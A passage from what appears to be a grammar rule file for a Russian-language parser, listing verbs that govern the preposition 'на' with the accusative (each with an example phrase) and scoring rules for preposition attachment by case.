инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
